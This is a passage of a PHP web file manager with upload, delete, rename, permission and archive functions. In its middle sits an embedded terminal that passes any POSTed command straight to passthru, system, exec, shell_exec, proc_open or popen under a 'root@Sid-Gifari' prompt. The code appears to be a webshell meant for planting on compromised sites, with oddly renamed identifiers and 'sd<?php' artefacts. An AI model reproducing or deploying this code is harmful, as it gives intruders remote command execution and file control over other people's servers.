    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
